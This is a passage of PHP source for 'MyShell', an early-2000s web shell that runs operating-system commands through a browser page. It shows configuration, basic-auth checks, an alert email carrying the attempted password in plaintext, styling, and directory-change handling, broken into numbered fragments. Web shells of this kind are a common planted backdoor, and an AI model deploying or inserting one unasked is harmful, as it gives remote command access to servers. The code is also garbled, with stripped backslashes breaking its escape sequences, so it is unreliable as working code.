2. $dirLimit = "";
#$autoErrorTrap Enable automatic error traping if command returns error.
#Bear in mind that MyShell executes the command again in order to
#trap the stderr. This shouldn't be a problem in most cases.
#If you turn it off, you'll have to select to trap stderr or not for
#every command you excecute.
$autoErrorTrap = 1;
#Cosmetic defaults.
$termCols = 80; //Default width of the output text area
$termRows = 20; //Default heght of the output text area
$bgColor = "#000000"; //background color
$bgInputColor = "#333333"; //color of the input field
$outColor = "#00BB00"; //color of the text output from the server
$textColor = "#009900"; //color of the hard texts of the terminal
$linkColor = "#00FF00"; //color of the links
/************** No customize needed from this point *************/
$MyShellVersion = "MyShell 1.0.5 build 20010910";
if($selfSecure){
if (($PHP_AUTH_USER!=$shellUser)||($PHP_AUTH_PW!=$shellPswd)) {
Header('WWW-Authenticate: Basic realm="MyShell"');
Header('HTTP/1.0 401 Unauthorized');
echo "<html>
<head>
<title>MyShell error - Access Denied</title>
</head>
<h1>Access denied</h1>
A warning message have been sended to the administrator
<hr>
<em>$MyShellVersion</em>";
if(isset($PHP_AUTH_USER)){
$warnMsg ="
This is $MyShellVersion
installed on: http://".$HTTP_SERVER_VARS["HTTP_HOST"]."$PHP_SELF
just to let you know that somebody tryed to access
the script using wrong username or password:
Date: ".date("Y-m-d H:i:s")."
IP: ".$HTTP_SERVER_VARS["REMOTE_ADDR"]."
User Agent: ".$HTTP_SERVER_VARS["HTTP_USER_AGENT"]."
username used: $PHP_AUTH_USER
password used: $PHP_AUTH_PW
If this is not the first time it happens,
please consider either to remove MyShell
from your system or change it's name or
directory location on your server.
Regards
The MyShell dev team
";
mail($adminEmail,"MyShell Warning - Unauthorized Access",$warnMsg,
"From: $fromEmailnX-Mailer:$MyShellVersion AutoWarn System");
}
exit;
}
}
if(!$oCols)$oCols=$termCols;
3. if(!$oRows)$oRows=$termRows;
?>
<html>
<head>
<title>MyShell</title>
<style>
body{
background-color: <?echo $bgColor ?>;
font-family : sans-serif;
font-size : 10px;
scrollbar-face-color: #666666;
scrollbar-shadow-color: <?echo $bgColor ?>;
scrollbar-highlight-color: #999999;
scrollbar-3dlight-color: <?echo $bgColor ?>;
scrollbar-darkshadow-color: <?echo $bgColor ?>;
scrollbar-track-color: <?echo $bgInputColor ?>;
scrollbar-arrow-color: <?echo $textColor ?>;
}
input,select,option{
background-color: <?echo $bgInputColor ?>;
color : <?echo $outColor ?>;
border-style : none;
font-size : 10px;
}
textarea{
background-color: <?echo $bgColor ?>;
color : <?echo $outColor ?>;
border-style : none;
}
</style>
</head>
<body bgcolor=<?echo $bgColor ?> TEXT=<?echo $textColor ?> LINK=<?echo
$linkColor ?> VLINK=<?echo $linkColor ?> onload=document.shell.command.select()>
<?php
// First we check if there has been asked for a working directory.
if (isset($work_dir)) {
//A workdir has been asked for - we chdir to that dir.
$work_dir = validate_dir($work_dir);
@chdir($work_dir) or
($dirError = "Can't change directory. Permission deniednSwitching back to
$DOCUMENT_ROOTn");
$work_dir = exec("pwd");
}
else{
/* No work_dir - we chdir to $DOCUMENT_ROOT */
$work_dir = validate_dir($DOCUMENT_ROOT);
chdir($work_dir);
$work_dir = exec("pwd");
}
//Handling cd command
$cdPos = strpos($command,"cd ");
if ((string)$cdPos != "") {
$cdPos=$cdPos+3;
$path = substr($command,$cdPos);
if ($path==".."){
$work_dir=strrev(substr(strstr(strrev($work_dir), "/"), 1));
if ($work_dir == "") $work_dir = "/";
}
elseif (substr($path,0,1)=="/")$work_dir=$path;
else $work_dir=$work_dir."/".$path;
$work_dir = validate_dir($work_dir);
@chdir($work_dir) or ($dirError = "Can't change directory. Directory does
not exist or permission denied");